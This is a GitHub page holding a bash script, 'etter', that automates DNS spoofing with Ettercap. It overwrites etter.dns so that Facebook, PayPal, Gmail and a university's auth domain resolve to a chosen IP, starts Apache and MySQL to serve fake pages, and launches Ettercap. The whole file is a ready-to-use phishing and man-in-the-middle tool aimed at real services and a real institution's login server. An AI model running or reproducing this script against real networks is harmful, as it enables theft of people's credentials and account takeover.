-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathetter
231 lines (198 loc) · 5.08 KB
/
etter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
#!/bin/bash
#################### -- DECLARATIONS -- #######################################
declare -r EtterPath="/etc/ettercap/etter.dns"
addr="127.0.0.1"
declare -i printHelp=0
declare -i service=0
declare -i ettercap=0
declare -i stop=0
declare -i foundError=0
declare -i x=0
################### -- COLORS -- ################################
declare -r red="\033[1;31m"
declare -r blue="\033[1;34m"
declare -r green="\e[1;32m"
declare -r yellow="\e[1;33m"
declare -r purple="\e[5;35m"
declare -r white="\e[1;37m"
################## -- FUNCTIONS -- ##################################
function welcome(){
sleep 0.2
printf "$green ________ $red __________ $blue __________ $yellow ________ $purple ________ \n"
sleep 0.2
printf "$green | ______|$red |___ ____|$blue |___ ____|$yellow | ______|$purple | ____ | \n"
sleep 0.2
printf "$green | |_____ $red | | $blue | | $yellow | |_____$purple | |____| | \n"
sleep 0.2
printf "$green | ______|$red | | $blue | | $yellow | ______|$purple | ______| \n"
sleep 0.2
printf "$green | |_____ $red | | $blue | | $yellow | |_____ $purple | |\_\ \n"
sleep 0.2
printf "$green |_______|$red |_| $blue |_| $yellow |_______|$purple |_| \_\ \n"
sleep 0.2
printf "$white \n"
}
function print_help(){
echo
echo -e "${white}etter.sh -- Tool for Ettercap DNS file"
echo
echo "Usage : "
echo " etter [OPTIONS]"
echo
echo "[OPTIONS] :"
echo
echo " -i --ip YOUR IP : set the selected ip as the redirection ip"
echo " 127.0.0.1 is set as default"
echo " -s --services : if the -s option is used apache2 and mysql servers will start"
echo " requires the two services to be installed"
echo " -x : Stop all services"
echo " -e --ettercap : start ettercap in graphical mode"
echo " -h --help : printf this help and exit"
echo
echo -e "Example : ${blue}etter --ip 192.168.1.1 -s -e"
echo
}
function start_services(){
echo
echo -e "$blue[Starting Apach2 service ...]"
service apache2 start
echo -e "$green[Apache2 service started]"
echo
sleep 2
echo -e "$blue[Starting mysql service ...]"
service mysql start
echo -e "$green[MySql service started]"
echo
sleep 0.2
echo -e "$yellow[All services started]"
echo
}
function start_ettercap(){
echo
echo -e "$blue[Starting Ettercap ...]"
sleep 2
ettercap -G &
echo -e "$green[Ettercap started]"
echo
}
function stop_services(){
echo
echo -e "$red[Stopping Apach2 service ...]"
service apache2 stop
echo -e "$green[Apache2 service stopped]"
echo
sleep 2
echo -e "$red[Stopping mysql service ...]"
service mysql stop
echo -e "$green[MySql service stopped]"
echo
}
function modif(){
echo -e "$blue[Starting the modification of etter.dsn file]"
echo "*facebook.com A $addr/facebook.com" > $EtterPath
echo "*paypal.com A $addr/paypal.com" >> $EtterPath
echo "*gmail.com A $addr/gmail.com" >> $EtterPath
echo "*univ-tlemcen.dz A $addr/univ-tlemcen.dz" >> $EtterPath
echo >> $EtterPath
echo "*.univ-tlemcen.dz A $addr/univ-tlemcen.dz" >> $EtterPath
echo "*.facebook.com A $addr/facebook.com" >> $EtterPath
echo "*.paypal.com A $addr/paypal.com" >> $EtterPath
echo "*.gmail.com A $addr/gmail.com" >> $EtterPath
echo >> $EtterPath
echo "auth.univ-tlemcen.dz A $addr/univ-tlemcen.dz" >> $EtterPath
echo "www.facebook.com A $addr/facebook.com" >> $EtterPath
echo "www.paypal.com A $addr/paypal.com" >> $EtterPath
echo "www.gmail.com A $addr/gmail.com" >> $EtterPath
sleep 2
echo
#########################################################################
# echo "*microsoft.com A $addr/bullshit.com" >> $EtterPath #
#########################################################################
}
function testx(){
if [ "$x" -eq 0 ]; then
echo -e "${white}Do you want to edit the file with '$addr' "
echo
echo -e " ${green}1- Yes"
echo -e " ${red}2- No"
echo
printf "${blue}Enter your choice : "
read choice
if [ "$choice" -eq 1 ]; then
x=1
elif [ "$choice" -eq 2 ]; then
x=0
else
echo -e "${red}Invalid Choice"
testx
fi
fi
}
function testip(){
if [[ "$addr" =~ (([01]{,1}[0-9]{1,2}|2[0-4][0-9]|25[0-5])\.([01]{,1}[0-9]{1,2}|2[0-4][0-9]|25[0-5])\.([01]{,1}[0-9]{1,2}|2[0-4][0-9]|25[0-5])\.([01]{,1}[0-9]{1,2}|2[0-4][0-9]|25[0-5]))$ ]]; then
echo
else
echo -e "${red}Invalid IP Adrress"
exit 1
fi
echo
}
########################## -- SCRIPT -- #######################################
if [ "$#" -eq 0 ]; then
print_help
exit 1
fi
while [ "$#" -ne 0 ]
do
case "$1" in
-h | -help | --help)
printHelp=1
shift
;;
-s | --service | --services)
service=1
shift
;;
-e | --ettercap)
ettercap=1
shift
;;
-x)
stop=1
shift
;;
-i | --ip)
addr="$2"
x=1
shift
;;
*)
shift
;;
esac
done
if [ "$printHelp" = "1" ]; then
print_help
exit 1
fi
if [ "$stop" = "1" ]; then
stop_services
exit 1
fi
testip
## -- WELCOME -- ##
welcome
###################
testx
if [ "$service" = "1" ]; then
start_services
fi
if [ "$ettercap" = "1" ]; then
start_ettercap
fi
if [ "$x" -eq 1 ]; then
modif
fi
sleep 0.3
echo -e "$green[All Done !!]"
exit 1